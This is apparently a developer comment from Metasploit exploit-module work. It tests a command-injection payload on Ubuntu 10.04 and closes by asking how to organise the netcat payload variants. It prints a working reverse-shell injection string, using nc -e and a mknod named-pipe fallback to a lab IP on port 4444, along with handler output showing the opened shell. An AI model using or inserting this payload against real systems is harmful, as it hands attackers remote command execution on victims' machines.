I've been reviewing the injection used by @m-1-k-3, the payload works fine on Ubuntu 10.04 when simulating the injection:

```
juan@ubuntu:~$ 1500&(nc 192.168.1.128 4444 -e /bin/sh) ||(mknod /tmp/ecwld p; nc 192.168.1.128 4444 0</tmp/ecwld | /bin/sh 1>/tmp/ecwld 2>&1; rm /tmp/ecwld)&
[1] 17182
[2] 17183
juan@ubuntu:~$ nc: invalid option -- 'e'
usage: nc [-46DdhklnrStUuvzC] [-i interval] [-P proxy_username] [-p source_port]
	  [-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_protocol]
	  [-x proxy_address[:port]] [hostname] [port[s]]
1500: command not found

```

The handlet gets the shell:

```
msf  exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444 
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.1.128:4444 -> 192.168.1.159:48090) at 2013-03-04 18:26:49 +0100

id
uid=1000(juan) gid=1000(juan) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(juan)

```

At this point, not sure if try to combine all the possible combinations for netcat payloads in one module is a good idea, or would be better to add different payloads when needed. Need to check with @jlee-r7